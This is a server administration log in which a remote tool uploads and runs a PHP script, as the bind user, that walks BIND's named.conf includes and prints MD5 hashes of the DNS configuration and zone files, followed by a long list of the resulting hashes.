MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 18:06:07: Establishing a connection
2026-04-23 18:06:07: 

PUT: /tmp/pkp790890

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 18:06:08: 

runuser -l bind -s /bin/bash -c '/tmp/pkp790890; rm /tmp/pkp790890'

2026-04-23 18:06:08: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
